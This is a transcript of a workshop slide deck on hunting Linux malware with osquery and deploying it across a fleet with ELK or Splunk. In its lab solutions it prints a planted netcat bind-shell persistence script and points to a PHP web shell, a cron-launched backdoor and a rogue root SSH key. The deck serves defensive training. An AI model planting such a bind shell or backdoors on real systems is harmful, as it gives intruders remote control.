Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Hunting Malware at Scale with osquery

Hunting Malware at Scale with osquery

This workshop is an introduction to osquery, an open source SQL-powered operating system for instrumentation and analytics. osquery is developed and used by Facebook to proactively hunt for abnormalities. Since osquery allows us to easily ask questions about our infrastructure, it provides powerful capabilities, such as finding malware persistence techniques and scanning IOCs across our fleets of machines. This workshop is a very hands-on training and we expect participants to be comfortable with CLI. The workshop is broken into three components:

Part I - hunting malware with osquery (1.5 hours) The first section of the workshop will make use of the interactive osquery command line tool (osqueryi) to hunt for characteristics of malware residing on a local system. The goal of this section is to get students familiar with writing SQL statements and to understand how osquery makes use of core tables to abstract operating system artifacts.

Part II - osquery at scale (1.5 hours): The second part of the workshop will focus on automation and deployment of osquery at a larger scale. You will learn how to write “query packs” which are utilized to collect and analyze the results from various endpoints in an enterprise. We will demonstrate this concept with the use of virtual machines, however the methodologies can be extrapolated to larger enterprises.

Part III - osquery development (optional - 0.5 to 1 hours): The last part of the workshop focuses on osquery development. We will walk you through some of the core components of osquery so you can have a deeper understand of this application. The goal being to give the student sufficient information to hack on the osquery project. This segment is largely optional and designed for people who want to get familiar with how osquery works under the hood.

Javier Marcos

March 09, 2017
Tweet

More Decks by Javier Marcos

Other Decks in Technology

Transcript

  1. Initial Setup • Connect to the osquery-lab WiFi (password: osqueryrocks)

    • All of the components of this lab are on the USB Thumb Drives ◦ We know, hilarious right? • Copy all the contents locally while we talk for expedited hacking ◦ If you want :P • Install VirtualBox. Installers under the virtualbox-installers dir. • Double click the .vbox file under /vms ◦ Or add the virtual machine, however you wanna do that. • Login to the box using the credentials user: vagrant pass: vagrant ◦ Either inside of VirtualBox, or use Term, iTerm, PuTTY(Installer in /util) $ ssh -p 2222 vagrant@localhost
  2. Initial Setup • Everything should be documented: ◦ http://osquery.readthedocs.io/en/stable/ •

    The source for these docs lives within the repo: ◦ https://github.com/facebook/osquery/tree/master/docs • Anything that is not documented should become an issue ◦ https://github.com/facebook/osquery/issues • Please please please, file and address issues ◦ There are 100+ contributors ◦ We strive to be as nice and accommodating as possible! • Join our Slack discussion ◦ https://osquery-slack.herokuapp.com/ • Direct message theopolis if you need anything whatsoever
  3. whoami (we?) • Facebook Security Engineering ◦ Detection Infrastructure ▪

    Nick Anderson (@PoppySeedPlehzr) ▪ Sereyvathana Ty ▪ Ted Reed ▪ Matt Moran ◦ Threats and Signal Analysis ▪ April Eubank • Uber Engineering Security Team ◦ Platform Security ▪ Javier Marcos (@javutin)
  4. Road Map Part I - Hunting malware with osquery •

    Intro to osquery and SQL • Lab 1 - osquery usage and basics • Intro to Linux forensics • Lab 2 - Malware hunting with osquery Part II - Scaling osquery to an enterprise • Enterprise architecture and osqueryd deployment • osqueryd configuration and packs • Lab3 - Deploying osquery at scale Part III - FIM and process auditing • osqueryd for file integrity monitoring • osqueryd for process auditing Part IV - Open source development, and beyond! • osquery - Under the hood • Lab 4 - Writing custom python extensions • Lab 5 - Writing custom table extensions
  5. What is osquery? • Facebook’s Host Intrusion Detection Agent •

    Exposes the OS as a high performance relational database queryable with SQL • Offers host visibility inspired by intrusion detection and response • 100% OS API usage - no fork execve
  6. Why SQL? • SQL: Structured Query Language ◦ Language designed

    for managing data held in relational databases or stream processing. ◦ Used by many relational databases (for example, Sqlite, MySQL, MSSQL, ...) • Many developers and admins are familiar with SQL • Core concepts of SQL are platform agnostic • Core concepts have attributes ◦ User ids, process ids, descriptors, ports, paths, ... SELECT pid, name, uid FROM processes
  7. Why SQL? SELECT pid, name, uid FROM processes WHERE uid

    != 0 [concept] [attributes] [constraints]
  8. Why SQL? SELECT pid, name, username FROM processes JOIN users

    ON processes.uid=users.uid WHERE uid != 0 [constraints] [join] [attribute]
  9. Lab 1: Navigating osquery • Take a moment to double

    check that your lab is up and running • Note: Use the left Command (Ctrl on Win) button to “escape” the client VM
  10. Lab 1: Navigating osquery • Logs from these VMs are

    being sent to our SIEM for Part II • It’s helpful to have a second terminal open
  11. Lab 1: Navigating osquery vagrant@DC24-osquery-ubuntu:~$ sudo osqueryi osquery - being

    built, with love, at Facebook ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Using a virtual database. Need help, type '.help' osquery> osquery> .help Welcome to the osquery shell. Please explore your OS! You are connected to a transient 'in-memory' virtual database. .all [TABLE] Select all from a table ... osquery> .tables … => process_open_sockets => processes => quicklook_cache …
  12. Lab 1: Navigating osquery osquery> PRAGMA table_info('system_info'); +-----+--------------------+---------+---------+------------+----+ | cid

    | name | type | notnull | dflt_value | pk | +-----+--------------------+---------+---------+------------+----+ | 0 | hostname | TEXT | 0 | | 0 | | 1 | uuid | TEXT | 0 | | 0 | … … … … … … osquery> .schema listening_ports CREATE TABLE listening_ports(`pid` INTEGER, `port` INTEGER, `protocol` INTEGER, `family` INTEGER, `address` TEXT); osquery> SELECT * FROM processes; … osquery> .mode line osquery> SELECT * FROM processes LIMIT 1; pid = 1 name = launchd path = /sbin/launchd cmdline = …
  13. Lab 1: Navigating osquery osquery> .help Welcome to the osquery

    shell. Please explore your OS! You are connected to a transient 'in-memory' virtual database. .all [TABLE] Select all from a table .bail ON|OFF Stop after hitting an error; default OFF .echo ON|OFF Turn command echo on or off .exit Exit this program .header(s) ON|OFF Turn display of headers on or off .help Show this message .mode MODE Set output mode where MODE is one of: csv Comma-separated values column Left-aligned columns. (See .width) line One value per line list Values delimited by .separator string pretty Pretty printed SQL results
  14. Lab 1: Navigating osquery 1.) What is the system hostname?

    2.) What users exist on the system? 3.) What processes are running? 4.) Write a query that will list all processes which are running and listening on a port. 5.) (Bonus) Add the path of the files that originated these processes as well as the md5 hash of the file that originated them.
  15. Lab 1: Answers 1.) What is the system hostname? SELECT

    hostname FROM system_info; 2.) What users exist on the system? SELECT uid, username FROM users; 3.) What processes are running? SELECT pid, name, path FROM processes; 4.) Write a query that will list all processes which are running and listening on a port. SELECT p.pid, p.name, p.path, s.port, s.address FROM processes AS p JOIN listening_ports AS s ON s.pid = p.pid;
  16. Lab 1: Answers (Bonus) Add the path of the files

    that originated these processes as well as the hash of the file that originated them. SELECT p.pid, p.name, f.path, h.md5, s.port, s.address FROM processes AS p JOIN listening_ports AS s ON s.pid = p.pid JOIN file as f ON f.path = p.path JOIN hash as h ON h.path = p.path;
  17. Analyzing signal with osquery • Gone are the days of

    AV • Enter the days of the host based IDS • Typically searching for an indicator of compromise (IoC) ◦ Odd user behavior or administrative accesses ◦ Strange behavior in logs ◦ Unknown processes that launch at system start ◦ ... • Many and more IoCs to be found in Open Source Intel feeds • Think locally, scale globally
  18. Linux Forensics using osquery • Goal: Fingerprint the system and

    search for anomalies • Hal Pomeranz, Linux Forensics (for Non-Linux Folks): http://goo.gl/MXfvde → http://urlex.org/ • “Everything in Linux is a file” (/proc, /dev, …) • Some differences from Windows: ◦ Ext4 vs NTFS - Not hugely relevant for us, but worth keeping in mind ◦ No system registry - See note above • CLI is love, CLI is life
  19. Some Basic CLI Commands man - The most important of

    all, the Manpages cat - display the contents of a specified file less - scroll through the contents of a file cp - Copy a file to a specified location rm - Remove. Add a `-r` to `recurse` and delete directories su/sudo - Switch User/Switch User Do, escalate privs. mkdir - Make directory cd - Change directory ps - List of running processes grep - Globally search a Regex and Print. Text search. file - Attempt to identify the specified file type strings - Display all ASCII printable strings in a file nano - A simple text editor. Ctrl-o and Ctrl-x are ‘save’ and ‘exit’ Ctrl-R/S - Reverse/Forward search through your command history Tab Completion - Finish eachothers… sent… ennnncessssss…?
  20. Or just use osquery • Recall some of the osqueryi

    functionality we explored earlier: ◦ .tables ◦ .schema ◦ PRAGMA table_info(‘[table name]’); • Many of the commands on the previously slide can be answered, and extended, using osquery tables explored in Lab 1. • Use sudo osqueryi as many columns will not show up otherwise.
  21. Lab 2: Discovery and Analysis with osquery • Spend the

    next 20 minutes investigating the VM • We’ve hidden three major backdoors, and a variety of security issues • You’ll find it beneficial to have a second terminal running ◦ Osquery can’t do everything. Yet. • Reports encouraged • Questions are highly encouraged
  22. Good questions for analysis: What starts when the system boots?

    What users exist? What services exist? What services _should_ exist? What does the network look like? What logs are available? Good osquery tables to recall: listening_ports processes crontab users File hash Good locations to check: /etc/passwd (User Accounts) /etc/group (Group membership) /etc/sudoers (Admin level users) /etc/init.d (Auto start services) /var/log/syslog (System logs) /var/log/authlog (Authentication Logs) /home/ (User home directories) /home/$USER/.ssh (ssh keys, configs, …) /etc/hosts (Static host IPs) /etc/network/interfaces (Static eth IPs) /etc/apache2/sites-enabled/ (Web server config) More Good locations to check: /var/log/wtmp (User login history) /var/log/secure (More auth logs) /var/log/auth.log (More auth logs) /var/log/audit/audit.log(More auth logs) /etc/cron* (Scheduled tasks) /var/spool/cron/* (More schedule tasks) $HOME/.bash_history (Command history) /var/log/sudo.log (sudo command hist) Lab 2: Discovery and Analysis with osquery
  23. Lab 2 Solutions • All of the provisioning scripts in

    the ./vagrant folder will tell you specifically what was done Look only if you want to cheat! • Let’s walk through some of the bigger backdoors and how you might have discovered them
  24. Enumerate the users The only user we were told of

    was Bilbo Baggins. osquery> select * from users where uid > 1000; +-------+-------+------------+------------+----------+-------------+----------------+-------------------+------+ | uid | gid | uid_signed | gid_signed | username | description | directory | shell | uuid | +-------+-------+------------+------------+----------+-------------+----------------+-------------------+------+ | 65534 | 65534 | 65534 | 65534 | nobody | nobody | /nonexistent | /usr/sbin/nologin | | | 1001 | 1001 | 1001 | 1001 | ubuntu | Ubuntu | /home/ubuntu | /bin/bash | | | 1002 | 1002 | 1002 | 1002 | samwise | | /home/samwise | /bin/bash | | | 1003 | 1003 | 1003 | 1003 | bbaggins | | /home/bbaggins | /bin/bash | | | 1004 | 1004 | 1004 | 1004 | fbaggins | | /home/fbaggins | /bin/bash | | | 1005 | 1005 | 1005 | 1005 | gandalf | | /home/gandalf | /bin/bash | | | 1006 | 1006 | 1006 | 1006 | gollum | | /home/gollum | /bin/bash | | +-------+-------+------------+------------+----------+-------------+----------------+-------------------+------+
  25. Enumerate the users Looks like Bilbo was having a party:

    osquery> SELECT u.username, u.directory, g.gid, gr.groupname FROM users AS u JOIN user_groups AS g ON g.uid = u.uid JOIN groups AS gr ON g.gid = gr.gid WHERE u.uid > 1000; +----------+----------------+-------+-----------+ | username | directory | gid | groupname | +----------+----------------+-------+-----------+ | nobody | /nonexistent | 65534 | nogroup | | ubuntu | /home/ubuntu | 1001 | ubuntu | | samwise | /home/samwise | 1002 | samwise | | samwise | /home/samwise | 110 | admin | | bbaggins | /home/bbaggins | 1003 | bbaggins | | bbaggins | /home/bbaggins | 110 | admin | | fbaggins | /home/fbaggins | 1004 | fbaggins | | fbaggins | /home/fbaggins | 100 | users | | fbaggins | /home/fbaggins | 110 | admin | | gandalf | /home/gandalf | 1005 | gandalf | | gandalf | /home/gandalf | 100 | users | | gandalf | /home/gandalf | 110 | admin | | gollum | /home/gollum | 1006 | gollum | | gollum | /home/gollum | 100 | users | | gollum | /home/gollum | 110 | admin | +----------+----------------+-------+-----------+
  26. rooty backdoor vagrant@DC24-osquery-ubuntu:~$ sudo osqueryi osquery> .mode line osquery> select

    event, path, command from crontab; event = path = /etc/crontab command = root cd / && run-parts --report /etc/cron.hourly event = path = /etc/crontab command = root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) … event = @reboot path = /var/spool/cron/crontabs/root command = /etc/ /h0bbit.sh ← Fascinating... event = @reboot path = /var/spool/cron/crontabs/root command = /var/html/.../rooty ← Curiouser and Curiouser!
  27. rooty backdoor Some more information about the file osquery> select

    * from file where path="/var/html/.../rooty"; path = /var/html/.../rooty directory = /var/html/... filename = rooty inode = 267976 uid = 0 gid = 0 mode = 0755 device = 0 size = 1112464 block_size = 4096 atime = 1470166802 mtime = 1470166802 ctime = 1470166802 btime = 0 hard_links = 1 type = regular … vagrant@DC24-osquery-ubuntu:~$ ls -al "/var/html/.../rooty" -rwxr-xr-x 1 root root 1112464 Aug 2 19:40 /var/html/.../rooty
  28. Enumerating listening ports vagrant@DC24-osquery-ubuntu-ospp9P1J:~$ sudo netstat -lpnut Active Internet connections

    (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN 606/rpcbind tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 1014/sshd tcp 0 0 0.0.0.0:41096 0.0.0.0:* LISTEN 685/rpc.statd tcp 0 0 0.0.0.0:31337 0.0.0.0:* LISTEN 1093/nc osquery> select p.pid, p.path, p.name, s.port, s.address from processes as p JOIN listening_ports as s ON s.pid = p.pid; +------+-------------------+-------------+-------+--------------------------+ | pid | path | name | port | address | +------+-------------------+-------------+-------+--------------------------+ | 1014 | /usr/sbin/sshd | sshd | 22 | 0.0.0.0 | | 1014 | /usr/sbin/sshd | sshd | 22 | :: | | 1072 | /usr/sbin/mysqld | mysqld | 3306 | 127.0.0.1 | | 1093 | /bin/nc.openbsd | nc | 31337 | 0.0.0.0 | | 1373 | /usr/sbin/ntpd | ntpd | 123 | 10.0.2.15 |
  29. Auditing init.d vagrant@DC24-osquery-ubuntu-ospp9P1J:~$ ls -al /etc/init.d/ total 264 drwxr-xr-x 2

    root root 4096 Aug 4 02:09 . drwxr-xr-x 104 root root 4096 Aug 4 21:01 .. -rwxr-xr-x 1 root root 2243 Apr 3 2014 acpid -rwxr-xr-x 1 root root 9974 Jan 7 2014 apache2 … -rwxr-xr-x 1 root root 896 Nov 1 2013 cryptdisks-early -rwxr-xr-x 1 root root 4276 Aug 4 02:09 tmp_spool -rwxr-xr-x 1 root root 6173 Apr 14 2014 udev -rwxr-xr-x 1 root root 2721 Mar 13 2014 umou
  30. Auditing init.d vagrant@DC24-osquery-ubuntu-ospp9P1J:~$ head -n 50 /etc/init.d/tmp_spool #! /bin/sh …

    # Author: Foo Bar <[email protected]> # # Please remove the "Author" lines above and replace them # with your own name if you copy and modify this script. # Do NOT "set -e" # PATH should only include /usr/* if it runs after the mountnfs.sh script PATH=/sbin:/usr/sbin:/bin:/usr/bin DESC="Temp spooling service" NAME=tmp_spool DAEMON="/etc/tmp_spool/start_spool.sh"
  31. Auditing init.d vagrant@DC24-osquery-ubuntu-ospp9P1J:~$ head -n 50 /etc/init.d/tmp_spool #! /bin/sh …

    # Author: Foo Bar <[email protected]> … # PATH should only include /usr/* if it runs after the mountnfs.sh script PATH=/sbin:/usr/sbin:/bin:/usr/bin DESC="Temp spooling service" NAME=tmp_spool DAEMON="/etc/tmp_spool/start_spool.sh" vagrant@DC24-osquery-ubuntu-ospp9P1J:~$ cat /etc/tmp_spool/start_spool.sh #!/bin/bash rm -f /tmp/f && sudo mkfifo /tmp/f $(cat /tmp/f | /bin/sh -i 2>&1 | nc -k -l 0.0.0.0 31337 > /tmp/f) &
  32. PHP Backdoor osquery> select p.pid, p.name, s.port, s.address from processes

    as p join listening_ports as s on s.pid = p.pid; +------+---------------+-------+-----------+ | pid | name | port | address | +------+---------------+-------+-----------+ | 1044 | mysqld | 3306 | 127.0.0.1 | | 1183 | apache2 | 80 | :: | ← Interesting. What is apache2 doing on this box? | 1597 | sshd | 22 | 0.0.0.0 | | 1597 | sshd | 22 | :: | | 420 | systemd-udevd | 0 | | | 510 | dhclient | 54313 | 0.0.0.0 | | 510 | dhclient | 68 | 0.0.0.0 | | 510 | dhclient | 56963 | :: | | 596 | rpcbind | 111 | 0.0.0.0 | | 596 | rpcbind | 111 | :: | | 596 | rpcbind | 111 | 0.0.0.0 | | 654 | rpc.statd | 35278 | 0.0.0.0 | | 654 | rpc.statd | 48946 | :: | | 654 | rpc.statd | 57702 | 0.0.0.0 | | 654 | rpc.statd | 830 | 127.0.0.1 | | 654 | rpc.statd | 44477 | :: | +------+---------------+-------+-----------+
  33. PHP Backdoor Looks to be the default apache2 config: vagrant@DC24-osquery-ubuntu:/var/www/html$

    cat /etc/apache2/sites-enabled/000-default.conf <VirtualHost *:80> … ServerAdmin webmaster@localhost DocumentRoot /var/www/html … ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined … </VirtualHost>
  34. PHP Backdoor Inside of the webroot, we see a wordpress

    installation. vagrant@DC24-osquery-ubuntu:/var/www/html$ ls -al /var/www/html total 204 drwxr-xr-x 6 root root 4096 Aug 2 18:49 . drwxr-xr-x 3 root root 4096 Aug 2 18:49 .. -rw-r--r-- 1 root root 11510 Aug 2 18:49 index.html -rw-r--r-- 1 root root 418 Aug 2 18:49 index.php -rw-r--r-- 1 root root 19929 Aug 2 18:49 license.txt -rw-r--r-- 1 root root 7185 Aug 2 18:49 readme.html drwxr-xr-x 5 root root 4096 Nov 20 2014 wordpress -rw-r--r-- 1 root root 4892 Aug 2 18:49 wp-activate.php drwxr-xr-x 9 root root 4096 Aug 2 18:49 wp-admin -rw-r--r-- 1 root root 271 Aug 2 18:49 wp-blog-header.php -rw-r--r-- 1 root root 4795 Aug 2 18:49 wp-comments-post.php -rw-r--r-- 1 root root 3069 Aug 2 18:49 wp-config.php -rw-r--r-- 1 root root 3087 Aug 2 18:49 wp-config-sample.php drwxr-xr-x 5 root root 4096 Aug 2 18:49 wp-content -rw-r--r-- 1 root root 2932 Aug 2 18:49 wp-cron.php drwxr-xr-x 12 root root 4096 Aug 2 18:49 wp-includes -rw-r--r-- 1 root root 2380 Aug 2 18:49 wp-links-opml.php -rw-r--r-- 1 root root 2359 Aug 2 18:49 wp-load.php …
  35. PHP Backdoor Looks like this box is hosting a pretty

    outdated version of Wordpress: vagrant@DC24-osquery-ubuntu:/var/www/html$ top -n 20 readme.html top: unknown option 'r' Usage: top -hv | -bcHiOSs -d secs -n max -u|U user -p pid(s) -o field -w [cols] vagrant@DC24-osquery-ubuntu:/var/www/html$ head -n 20 readme.html <!DOCTYPE html> <html> <head> <meta name="viewport" content="width=device-width" /> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>WordPress &#8250; ReadMe</title> <link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css" /> </head> <body> <h1 id="logo"> <a href="http://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png" /></a> <br /> Version 3.8.5 </h1>
  36. PHP Backdoor ...Aaaand is hiding a PHP backdoor that is

    word executable. vagrant@DC24-osquery-ubuntu:/var/www/html$ ls -al wp-content/uploads/ total 16 drwxr-xr-x 2 root root 4096 Aug 2 18:49 . drwxr-xr-x 5 root root 4096 Aug 2 18:49 .. -rwxrwxr-x 1 root root 5491 Aug 2 18:49 d0or.php
  37. Lab 2 Solutions • All of the solutions are in

    the vagrant provisioning scripts on your thumb drive /vagrant/lib.sh • PHP backdoor /var/www/wordpress/wp-content/uploads/d0or.php • rooty backdoor “/var/html/…” • nc backdoors “/etc/ /” • Everyone gets admin! admin:x:110:samwise,bbaggins,fbaggins,gandalf,gollum,bin,www-data • Everyone gets ssh as root! root@DC24-osquery-ubuntu:/home/vagrant# cat /root/.ssh/authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDb9YyrvSQModHNrbOrLXs9sFwZXPWRarRDFE9LVVl1MxEr3AEn afn8PU3fnELHSvPNlf…… • Lots of janky configs for services that probably shouldn’t be installed.
  38. Road Map Part I - Hunting malware with osquery •

    Intro to osquery and SQL • Lab 1 - osquery usage and basics • Intro to Linux forensics • Lab 2 - Malware hunting with osquery Part II - Scaling osquery to an enterprise • Enterprise architecture and osqueryd deployment • osqueryd configuration and packs • Lab3 - Deploying osquery at scale Part III - FIM and process auditing • osqueryd for file integrity monitoring • osqueryd for process auditing Part IV - Open source development, and beyond! • osquery - Under the hood • Lab 4 - Writing custom python extensions • Lab 5 - Writing custom table extensions
  39. How to scale osquery? • osqueryi VS osqueryd • osqueryd

    configuration ◦ /etc/osquery/osquery.conf ◦ Scheduled queries ◦ JSON logs written • Packs: groups of queries to be added to the osquery schedule ◦ https://osquery.io/docs/packs/ { "name":"this-is-query-name", "hostIdentifier":"target-hostname", "unixTime":"1470182990", "columns": { "key":"SSH_CLIENT", "Pid":"16794", "value":"10.0.2.2 51980 22" }, "action":"added" } sample log entry
  40. How to scale osquery • What to do with all

    the logs? ◦ osqueryd + TLS plugin ◦ osqueryd + Forwarder • Server to collect logs ◦ ELK (Elasticsearch + Logstash + Kibana) ◦ Splunk • osquery management ◦ Doorman (https://github.com/mwielgoszewski/doorman) ◦ Windmill (https://github.com/heroku/windmill)
  41. Client: osqueryd configuration "options": { "config_plugin": "filesystem", "logger_plugin": "filesystem", "logger_path":

    "/var/log/osquery", "events_expiry": "3600", "worker_threads": "2", "enable_monitor": "true" }, "packs": { "defcon24-workshop":"defcon24-workshop.conf" } /etc/osquery/osquery.conf
  42. Client: osquery custom pack /usr/share/osquery/packs/defcon24-workshop.conf "queries": { "crontab": { "query"

    : "select * from crontab;", "interval" : "60", "version" : "1.4.5", "description" : "Retrieves all the jobs scheduled in crontab in the target system.", "value" : "Identify malware that uses this persistence mechanism to launch at a given interval" }, "etc_hosts": { "query" : "select * from etc_hosts;", "interval" : "60", "version" : "1.4.5", "description" : "Retrieves all the entries in the target system /etc/hosts file.", "value" : "Identify network communications that are being redirected. Example: identify if security logging has been disabled" }, ...
  43. Client: Filebeat forwarder paths: - /var/log/osquery/osqueryd.results*.log input_type: log document_type: json

    fields: type: osquery_json codec: json json: message_key: message … output: logstash: hosts: ["LOGSTASH_SERVER_IP:PORT"] bulk_max_size: 1024 tls: certificate_authorities: ["/etc/pki/tls/certs/logstash-forwarder.crt"] /etc/filebeat/filebeat.yml
  44. Server: Logstash (input) input { beats { port => 5044

    ssl => true ssl_certificate => "/etc/pki/tls/certs/logstash-forwarder.crt" ssl_key => "/etc/pki/tls/private/logstash-forwarder.key" codec => "json" } } /etc/logstash/conf.d/02-beats-input.conf
  45. Server: Logstash (filter) filter { if [type] == "osquery_json" {

    json { source => "message" } date { match => [ "unixTime", "UNIX" ] } } } /etc/logstash/conf.d/10-osquery-filter.conf
  46. Server: Logstash (output) output { elasticsearch { hosts => ["localhost:9200"]

    sniffing => true manage_template => false index => "%{[@metadata][beat]}-%{+YYYY.MM.dd}" document_type => "%{[@metadata][type]}" } } /etc/logstash/conf.d/30-elasticsearch-output.conf
  47. Server: Kibana nginx server { listen 80; auth_basic "Restricted Access";

    auth_basic_user_file /etc/nginx/htpasswd.users; location / { proxy_pass http://localhost:5601; proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection 'upgrade'; proxy_set_header Host $host; proxy_cache_bypass $http_upgrade; } } /etc/nginx/sites-available/default
  48. Server: Kibana index pattern curl -XPUT http://localhost:9200/.kibana/index-pattern/filebeat-* -d '{"title" :

    "filebeat-*", "timeFieldName": "@timestamp"}' curl -XPUT http://localhost:9200/.kibana/config/4.4.2 -d '{"defaultIndex" : "filebeat-*"}'
  49. Splunk configuration • Splunk Forwarder ◦ - inputs.conf [monitor:///var/log/osquery/osqueryd.results.log] index

    = main sourcetype = osqueryd.results • Search Head ◦ Osquery.app /opt/splunk/etc/apps/spl_osquery
  50. Lab 3: Deploying osquery at scale • Client: osqueryd ◦

    Check daemon is running ◦ Check configuration ▪ Check pack queries and intervals ▪ Check logs are being written • Client: Filebeat/Splunk Forwarder ◦ Check daemon is running ◦ Check configuration ▪ Check certificates ▪ Check server details
  51. Lab 3: Deploying osquery at scale • Client: osqueryd ◦

    Check daemon is running -> service osqueryd status ◦ Check configuration ▪ Check pack queries and intervals -> /etc/osquery/osquery.conf ▪ Check logs are being written -> /var/log/osquery/* • Client: Filebeat/Splunk Forwarder ◦ Check daemon is running -> service filebeat status ◦ Check configuration ▪ Check certificates -> /etc/pki/tls/certs/logstash-forwarder.crt ▪ Check server details -> /etc/filebeat/filebeat.yml
  52. Lab 3: Deploying osquery at scale • Client: osqueryd ◦

    Check daemon is running -> service osqueryd status ◦ Check configuration ▪ Check pack queries and intervals -> cat /etc/osquery/osquery.conf ▪ Check logs are being written -> /var/log/osquery • Client: Filebeat/Splunk Forwarder ◦ Check daemon is running -> service filebeat status ◦ Check configuration ▪ Check certificates -> /etc/pki/tls/certs/logstash-forwarder.crt ▪ Check server details -> /etc/filebeat/filebeat.yml Tables: osquery_info, osquery_packs, osquery_schedule
  53. Lab 3: Deploying osquery at scale • Server: ◦ Elasticsearch

    ▪ Check elasticsearch configuration/status ◦ Logstash ▪ Check logstash configuration/status ◦ Kibana ▪ Check kibana configuration/status ▪ Nginx configuration/status • Server: ◦ Do you see any logs flowing? ◦ Can you search for fields? ◦ Can you draw dashboards? Kibana: https://osquery.rocks Splunk: https://osquery.rocks:8000
  54. Lab 3: Deploying osquery at scale • Server: ◦ Elasticsearch

    ▪ Check elasticsearch configuration/status -> service elasticsearch status ◦ Logstash ▪ Check logstash configuration/status -> service logstash status ◦ Kibana ▪ Check kibana configuration/status -> service kibana status ▪ Nginx configuration/status -> service nginx status • Server: ◦ Do you see any logs flowing? ◦ Can you search for fields? ◦ Can you draw dashboards?
  55. Lab 3: Deploying osquery at scale • Server: ◦ Elasticsearch

    ▪ Check elasticsearch configuration/status -> /etc/elasticsearch/elasticsearch.yml ◦ Logstash ▪ Check logstash configuration/status -> /etc/logstash/conf.d/ ◦ Kibana ▪ Check kibana configuration/status -> /opt/kibana/config/kibana.yml ▪ Nginx configuration/status -> /etc/nginx/sites-enables/default • Server: ◦ Do you see any logs flowing? ◦ Can you search for fields? ◦ Can you draw dashboards? Kibana: https://osquery.rocks Splunk: https://osquery.rocks:8000
  56. Road Map Part I - Hunting malware with osquery •

    Intro to osquery and SQL • Lab 1 - osquery usage and basics • Intro to Linux forensics • Lab 2 - Malware hunting with osquery Part II - Scaling osquery to an enterprise • Enterprise architecture and osqueryd deployment • osqueryd configuration and packs • Lab3 - Deploying osquery at scale Part III - FIM and process auditing • osqueryd for file integrity monitoring • osqueryd for process auditing Part IV - Open source development, and beyond! • osquery - Under the hood • Lab 4 - Writing custom python extensions • Lab 5 - Writing custom table extensions
  57. File integrity monitoring Our interpretation is “file-related events” and hashing

    contents when they occur "file_paths": { "homes": ["/home/*"] }, /etc/osquery/osquery.conf
  58. File integrity monitoring Our interpretation is “file-related events” and hashing

    contents when they occur "file_paths": { "homes": ["/home/*"] } /etc/osquery/osquery.conf Edit me! Add this!
  59. File integrity monitoring $ osqueryi --config_check --config_path /etc/hosts [1] $

    $ osqueryi --config_check --config_path /etc/osquery/osquery.conf $ Use --config_check to validate your JSON
  60. File integrity monitoring "file_paths": { "homes": ["/home/**"] } /etc/osquery/osquery.conf How

    about this? http://osquery.readthedocs.io/en/stable/deployment/file-integrity-monitoring/
  61. File integrity monitoring "file_paths": { "homes": ["/home/**"], "etc": [ "/etc/ssh/*",

    "/etc/mach_init.d/*", "/etc/security/*", "/etc/*" ] } /etc/osquery/osquery.conf http://osquery.readthedocs.io/en/stable/deployment/file-integrity-monitoring/
  62. File integrity monitoring $ osqueryi --verbose --nodisable_events [...] Added file

    event listener to: /private/etc/ssh/* [...] Added file event listener to: /private/etc/mach_init.d/* [...] Added file event listener to: /private/etc/security/* [...] Added file event listener to: /private/etc/* [...] Added file event listener to: /home/** osquery> select * from file_events; osquery>
  63. File integrity monitoring $ osqueryi --verbose --nodisable_events [...] Added file

    event listener to: /private/etc/ssh/* [...] Added file event listener to: /private/etc/mach_init.d/* [...] Added file event listener to: /private/etc/security/* [...] Added file event listener to: /private/etc/* [...] Added file event listener to: /home/** osquery> select * from file_events; osquery> CTRL+Z [1] + 60644 suspended osqueryi --verbose --nodisable_events [146] $ $ touch ~/hello-osquery-workshop $ fg [1] + 60644 continued osqueryi --verbose --nodisable_events osquery> select * from file_events;
  64. File integrity monitoring $ osqueryi --verbose --nodisable_events [...] Added file

    event listener to: /private/etc/ssh/* [...] Added file event listener to: /private/etc/mach_init.d/* [...] Added file event listener to: /private/etc/security/* [...] Added file event listener to: /private/etc/* [...] Added file event listener to: /home/** osquery> select * from file_events; osquery> CTRL+Z [1] + 60644 suspended osqueryi --verbose --nodisable_events [146] $ $ touch ~/hello-osquery-workshop $ fg [1] + 60644 continued osqueryi --verbose --nodisable_events osquery> select * from file_events;
  65. Process auditing On Linux, this uses the kernel’s audit subsystem

    On OS X, this uses a custom kernel extension Linux Requirements: 1. Cannot run auditd (the Linux netlink socket does not multiplex) 2. --nodisable_audit 3. --audit_persist 4. --audit_allow_config If you want to write the BSD userland audit integration LMK! http://osquery.readthedocs.io/en/stable/deployment/process-auditing/
  66. Process auditing "options": { "disable_audit": false, "audit_persist": true, "audit_allow_config": true,

    [...] } /etc/osquery/osquery.conf For the Linux daemon, add the following options to your config.
  67. Process auditing $ osqueryi --nodisable_events --nodisable_audit --audit_allow_config \ --audit_persist osquery>

    select * from process_events; osquery> CTRL+Z [1] + 60677 suspended osqueryi [146] $ $ echo hellofriend $ fg [1] + 60677 continued osqueryi osquery> select * from process_events;
  68. Road Map Part I - Hunting malware with osquery •

    Intro to osquery and SQL • Lab 1 - osquery usage and basics • Intro to Linux forensics • Lab 2 - Malware hunting with osquery Part II - Scaling osquery to an enterprise • Enterprise architecture and osqueryd deployment • osqueryd configuration and packs • Lab3 - Deploying osquery at scale Part III - FIM and process auditing • osqueryd for file integrity monitoring • osqueryd for process auditing Part IV - Open source development, and beyond! • osquery - Under the hood • Lab 4 - Writing custom python extensions • Lab 5 - Writing custom table extensions
  69. Development: Under the hood - C++11 - Clang (required) -

    Boost 1.60 - Facebook RocksDB - Apache Thrift - Google logging, flags, mock, testing - AWS SDK - OpenSSL - and tons more…. Designed to be deployed to anything! Requirements: 1. Glibc 2.12 (anything 2010+) 2. libz 3. libgcc_s 4. x86_64
  70. Development Workflow - Building 1. Clone the code https://github.com/facebook.osquery.git 2.

